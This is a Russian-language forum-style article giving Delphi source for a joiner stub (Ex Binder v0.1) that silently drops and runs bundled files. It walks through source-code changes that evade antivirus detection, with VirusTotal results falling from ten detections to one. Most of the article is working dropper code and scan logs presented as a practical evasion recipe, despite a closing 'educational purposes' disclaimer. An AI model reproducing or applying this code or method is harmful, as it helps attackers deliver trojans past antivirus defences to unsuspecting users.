Имеешь исходники — криптор не нужен

Цель данной статьи – показать, каким образом изменения, внесённые в исходный код программы влияют на уровень её распознавабельности антивирусным ПО. А также привести примеры разных видов изменений исходного кода на определённом образце – стабе джоинера Ex Binder v0.1 (Author: TM)…Цель данной статьи – показать, каким образом изменения, внесённые в исходный код программы влияют на уровень её распознавабельности антивирусным ПО. А также привести примеры разных видов изменений исходного кода на определённом образце – стабе джоинера Ex Binder v0.1 (Author: TM).

Статья рассчитана на специфичную аудиторию, материал статьи потребует для освоения и применения наличие Дельфи (не обязательно полного, нужен лишь компилятор [1]), знания синтаксиса Дельфи, собственно сами исходные коды разного рода ПО.

Терминология:
Дельфи – среда визуальной разработки приложений, а с версии 7, ещё и одноименный язык программирования.
Джоинер – ПО, предназначенное для контейнирования в одном файле нескольких файлов, с возможностью их запуска по запуску файла-контейнера.
Стаб – контейнер джоинера в чистом виде (без файлов).

Проверим файл-стаб джоинера на virustotal.com. Он получен в результате компиляции неизменённого авторского исходника Ex Binder v0.1.
Сорец:

{A very Lite stub for extraction and execution of multiple files.
Author: TM
}
program Stub;

uses
  Windows, ShellApi;

function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  ShellExecute(0, 'OPEN', PChar('C:'+lpName), '', '', 0);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.

Результат проверки (только положительные ответы):

Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KAH
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
Ewido 4.0 04.06.2007 Trojan.Steal
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc


Данный джоинер один из самых простых. Он основан на хранении файлов в ресурсах программы-контейнера. При запуске следует извлечение ресурсов и их запуск. Почему же это приложение определилось некоторыми антивирусами, не как Joiner/Dropper, а как троян? Дело в том, что при использовании, это приложение попадало для анализа склеенным с именно тем определяемым видом вируса (Trojan, Backdoor). Вероятно, система анализа, либо программисты-аналитики были не очень щепетильны, либо сочли не нужным уточнять вид вируса. Так или иначе, сигнатуры кода джоинера добавились в базу с этими данными.

Итак, что же можно сделать, для устранения этих неприятных строчек? Я слышал, многие советуют «добавить мусор» в конец кода программы. Что ж. Добавим 30Кб случайных символов. Результат проверки:

Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KAH
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
Ewido 4.0 04.06.2007 Trojan.Steal
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc


Число определивших антивирусов от проведённой операции меньше не стало. Так что «мусор» не поможет. Ещё, бывает, советуют запаковать. Хорошо. Пакуем UPX 1.95. Результат:

Authentium 4.93.8 04.06.2007 W32/Trojan.YEW
AVG 7.5.0.447 04.05.2007 Dropper.Generic.KZF
DrWeb 4.33 04.06.2007 Trojan.MulDrop.4603
eSafe 7.0.15.0 04.06.2007 suspicious Trojan/Worm
Ewido 4.0 04.06.2007 Logger.Delf.or
F-Prot 4.3.1.45 04.04.2007 W32/Trojan.YEW
F-Secure 6.70.13030.0 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Kaspersky 4.0.2.24 04.06.2007 Trojan-Dropper.Win32.Delf.adc
Panda 9.0.0.4 04.06.2007 Suspicious file
VBA32 3.11.3 04.04.2007 Trojan-Dropper.Win32.Delf.adc
Webwasher-Gateway 6.0.1 04.06.2007 Win32.ModifiedUPX.gen!90 (suspicious)


Этот результат может удивить. Теперь вирус видят уже 12 антивирусов. Так что способ совсем не годится. Все современные антивирусы могут распаковывать упакованное любым известным (не свежим) пакером/компрессором. Но почему возросло число? Ответ прост, если помыслить логически то можно предположить, что многие паковали джоинер с вирусом с помощью UPX, дабы уменьшить размер. Не пакованный джоинер антивирусным программам менее знаком.
А теперь применим все наши познания Дельфи и произведём следующее: изменение исходного кода джоинера. Сделаем самое простое: вынос процедуры. А какую процедуру выберем? А самую последнюю – ShellExecute. Уберём её из function EnumNamesFunc. Создадим procedure Run(nn:string); и в неё вставим ShellExecute с передачей нужного параметра nn:string. Получим следующее:

program Stub;
uses  Windows, ShellApi;

procedure Run(nn:string);
begin
ShellExecute(0, 'OPEN', PChar('C:'+nn), '', '', 0);
end;

function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  Run(lpName);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @EnumNamesFunc, 0);
end.

Проверим, и вот результат:

Ikarus T3.1.1.3 04.06.2007 Backdoor.Win32.G_Door.T
Panda 9.0.0.4 04.06.2007 Suspicious file


Правда, неплохо? Panda заставить замолчать полностью не удастся, но Ikarus мы убрать должны. А что ещё можно сделать с исходником? Предложу ещё три примера развития модификации исходного кода. Это полубессмысленное использование схожей с ShellExecute функции, бессмысленное построение цепочки процедур и бессмысленное добавление модуля. Но скажу, что всё сразу это делать не стоит. Какова должна быть последовательность ваших действий? Сначала применяем первое, не палится – отлично. Стало палиться – второе. Снова стало – первое и второе сразу. Потом третье и т.д. – по вашей фантазии и навыкам Дельфи-кодинга.

1. Творчество. Добавим функцию winexec совместно с shellexecute, однако только для файлов с расширением com, exe, src. Расширение же выделим с помощью ExtractExt. Исходник:

program Stub;
uses  Windows, ShellApi;

function ExtractExt(extrpath:string):string;
var epl:integer;
begin
epl:=length(extrpath);
if epl>3 then
begin
  Result:=extrpath[epl-2]+extrpath[epl-1]+extrpath[epl];
end else Result:='';
end;

procedure exefile(fn:PChar);
begin
if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:'+fn),1) else
shellexecute( 0 , 'OPEN' , PChar('C:'+fn) , '' , '' , 0 );
end;

function ENF(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
  Info, FH, BW:DWORD;
begin
  Result:= True;
  Info:= FindResource(0, lpName, lpType);
  FH:= CreateFile(PChar('C:'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
  CloseHandle(FH);
  exefile(lpName);
end;

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.

После этой операции, как и последующих, только Panda говорит о подозрительном файле.
2. Далее вставим цепочку бессмысленных процедур и вызовем ещё пару windows-функций.

program Stub;
uses  Windows, ShellApi;

procedure fun3();
begin
MessageBox(0,'','',0);
end;

procedure fun2;
begin
fun3;
end;

procedure fun1(inco:integer);
begin
if inco=3 then fun2;
end;

function ExtractExt
--

procedure exefile(fn:PChar);
begin
if ((ExtractExt(fn)='com') or (ExtractExt(fn)='exe') or (ExtractExt(fn)='scr')) then winexec(PChar('C:'+fn),1) else
shellexecute( 0 , 'OPEN' , PChar('C:'+fn) , '' , '' , 0 );
Randomize;
fun1(Random(1));
end;

function ENF
--

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.

3. А потом подключим модули, прямо в ненужных процедурах:

program Stub;
uses  Windows, ShellApi, TlHelp32;

procedure fun3();
begin
MessageBox(0,'','',0);
CreateToolhelp32Snapshot(0,0);
DragAcceptFiles(0,true);
end;

procedure fun2;
begin
fun3;
DragAcceptFiles(0,true);
end;

procedure fun1(inco:integer);
begin
if inco=3 then fun2;
CreateToolhelp32Snapshot(0,0);
end;

function ExtractExt
--

procedure exefile
--

function ENF
--

begin
  EnumResourceNames(0, RT_RCDATA, @ENF, 0);
end.

После таких операций [2], что было неоднократно проверено, определяемость антивирусами даже самого палящегося ПО исчезает.

Заключение.
Статья и примеры ПО были созданы исключительно в учебно-демонстративных целях. Статья зародилась в ходе работы автора над исходными кодами джоинеров, выложенных в теме [3]. В ходе работы примером служил джоинер Ex Binder v0.1 от TM с последовательными изменениями от меня. Статью (как и исходный код) можно дополнять, переопубликовывать, ссылаясь на первоисточник, указывая автора.

Список ссылок.
1. SmallDelphi, для решения вопроса компиляции исходников на Дельфи.
2. Все, приведённые в статье исходные коды, логи проверки и бинарники.
3. Некоторые джоинеры (тема), исходные коды которых подверглись описанной обработке.